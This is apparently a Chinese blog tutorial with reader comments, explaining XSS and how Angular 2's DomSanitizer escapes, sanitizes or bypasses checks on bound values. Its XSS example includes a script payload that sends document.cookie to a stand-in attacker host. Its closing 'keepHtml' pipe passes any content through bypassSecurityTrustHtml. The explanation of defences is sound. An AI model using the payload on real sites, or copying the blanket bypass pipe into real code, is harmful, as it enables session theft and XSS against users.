Angular 2 DomSanitizer

12

Cross-site scripting (跨站脚本)

跨站脚本Cross-site scripting,通常简称为XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括JavaVBScriptActiveXFlash或者甚至是普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话cookie等各种内容。 — 维基百科

Cross-site scripting 示例

互联网上的几乎每个博客都有一个评论的系统,允许用户对文章发表评论。评论信息一般使用常用的 HTML 表单进行提交。具体示例如下:

<form>
  <textarea class="comment" cols="30" rows="10"></textarea>
  <button type="submit">Submit</button>
</form>
  
<h1>Comments</h1>
<ul></ul>

var $form = $('form');
var $comment = $('.comment');
var $ul = $('ul');

$form.on('submit', e => {
  e.preventDefault();
  var value = $($comment).val(); 
  if(value) {
    $($ul).append(`<li>${value}</li>`);
  }
});

现在假设攻击者将以下代码作为评论信息发送到服务器:

<script>
   window.location=’http://attacker/?cookie='+document.cookie
</script>

如果网站没有保护自己免受跨站脚本的攻击,该内容将被保存到数据库中,访问该页面的所有用户将重定向到攻击者的URL。然而现实中一个真正的攻击者会创建一个更危险的脚本,例如,攻击者可以记录键盘事件并将这些信息发送到他自己拥有的服务器。

刚才我们看到的,只是 XSS 攻击的一个简单示例,它还可以有许多形式,如URL查询,href属性,CSS等等...

如果你想了解更多关于XSS的信息,可以浏览这个网站 - excess-xss

Angular 2 如何保护我们免受 XSS 攻击

Angular 2 中默认将所有输入值视为不受信任。当我们通过 property,attribute,样式,类绑定或插值等方式,将一个值从模板中插入到DOM中时,Angular 2 会自帮我们清除和转义不受信任的值。我们来看一下具体示例:

import { Component } from '@angular/core';

@Component({
  selector: 'exe-app',
  template: `
   <div [innerHtml]="html"></div>
  `
})
export class AppComponent {
  html: string;
  constructor() {
    this.html = "<h1>DomSanitizer</h1><script>attackerCode()</script>";    
  }
}

以上代码运行后浏览器显示的结果:

图片描述

从上图可以看出,Angular 2 在编译的时候,会自动清理 HTML 输入并转义不安全的代码,因此在这种情况下,脚本不会运行,只能在屏幕上显示为文本。接下来我们继续来看一个例子,如何绑定 iframe 的 src 属性值:

import { Component } from '@angular/core';

@Component({
  selector: 'exe-app',
  template: `
    <iframe [src]="iframe"></iframe>
  `
})
export class AppComponent {
  iframe: string;
  constructor() {
    this.iframe = "https://segmentfault.com/";       
  }
}

以上代码运行后,在浏览器中无法正常显示内容,控制台中输出了以下异常信息:

EXCEPTION: Error in ./AppComponent class AppComponent - inline template:1:12 caused by: unsafe value used in a resource URL context (see http://g.co/ng/security#xss)

Angular 抛出此错误是因为 iframe 的 src 属性是资源 URL 安全上下文,因为不可信源可以在用户不知情的情况下执行某些不安全的操作。但如果我们确认资源的 URL 是安全的,要怎么告知 Angular 该 URL 地址是安全的,给我们通行证呢 ?答案是,我们可以使用 Angular 2 中提供的 DomSanitizer 服务,具体示例如下:

import { Component } from '@angular/core';
import { DomSanitizer, SafeResourceUrl } from '@angular/platform-browser'

@Component({
  selector: 'exe-app',
  template: `
    <iframe [src]="iframe"></iframe>
  `
})
export class AppComponent {
  iframe: SafeResourceUrl;
  
  constructor(private sanitizer: DomSanitizer) {
    this.iframe = this.sanitizer.bypassSecurityTrustResourceUrl(
      "https://segmentfault.com/");       
  }
}

以上代码运行后,在浏览器中我们就可以看到正常的内容。另外需要注意的是,如果不受信任的用户数据调用这些方法,我们的应用程序将会存在 XSS 安全风险。

DomSanitizer - sanitize() 方法

有时后我们需要手动过滤输入值,这时你可以使用 sanitize 方法,它的签名如下:

abstract sanitize(context: SecurityContext, value: any): string;

该方法的第一个参数表示 SecurityContext (安全上下文),它的可选值如下:

  • None

  • HTML

  • STYLE

  • SCRIPT

  • URL

  • RESOURCE_URL

sanitize 方法的使用示例如下:

import { Component, SecurityContext } from '@angular/core';
import { DomSanitizer } from '@angular/platform-browser'

@Component({
  selector: 'exe-app',
  template: `
   <div [innerHtml]="html"></div>
  `
})
export class AppComponent {
  html: string;
  constructor(private sanitizer: DomSanitizer) {
    this.html = this.sanitizer.sanitize(SecurityContext.HTML, 
                    "<h1>Sanitize</h1><script>attackerCode()</script>");   
    console.log(this.html); 
  }
}

以上代码运行后,控制台的输出信息:

WARNING: sanitizing HTML stripped some content (see http://g.co/ng/security#xss).
app.component.ts:15 <h1>Sanitize</h1>attackerCode()

自定义 keepHtml 指令

keepHtml 指令定义

import { Pipe, PipeTransform } from '@angular/core';
import { DomSanitizer } from '@angular/platform-browser';

@Pipe({ name: 'keepHtml', pure: false })
export class EscapeHtmlPipe implements PipeTransform {
  constructor(private sanitizer: DomSanitizer) {
  }

  transform(content) {
    return this.sanitizer.bypassSecurityTrustHtml(content);
  }
}

keepHtml 指令使用

<div [innerHTML]="post.body | keepHtml"></div>

参考资源


如果觉得我的文章对你有用,请随意赞赏

你可能感兴趣的

小豆子的牛儿 · 2017年04月12日

感谢,解决了个问题

回复

0

呵呵,不客气哈!不介意的话,问题可以分享出来,我添加我有话说版块哟

semlinker 作者 · 2017年04月12日
0

问题就是添加[innerHTML]的时候,一开始没有使用这个,直接使用[innerHTML],会被过滤掉,使用DomSanitizer之后就好了

小豆子的牛儿 · 2017年04月12日
0

@小豆子的牛儿 原来是这样哈,这个问题在实际开发中基本都会遇到哟

semlinker 作者 · 2017年04月12日
刘轻语 · 2017年08月07日

不错!

回复

好名字猪取了 · 2017年11月02日

请问一下我img图片的地址,本地获取了后,存到数组里面,再显示出来,就会一直在最前面添加unsafe: 用了您的方法(估计我没用对)后,src显示的值为: "unsafe:SafeValue must use [property]=binding: blob:http://localhost:4200/f8136c3e-b374-47cb-b5ff-e08026b5edaf (see http://g.co/ng/security#xss)";
ts文件:
this.skillForm['_value']._src = this.sanitizer.bypassSecurityTrustResourceUrl(window.URL.createObjectURL(imgValue'files'));
window.URL.createObjectURL(imgValue'files')===》 这个是我本地获取到的图片地址(blob:http://localhost:4200/f8136c3e-b374-47cb-b5ff-e08026b5edaf) 。 请指教 。 谢谢您。

回复

胡夏美 · 2018年06月26日

当我使用[innerHTML]的时候,页面会一直刷新,请问有什么方法可以解决么

回复

载入中...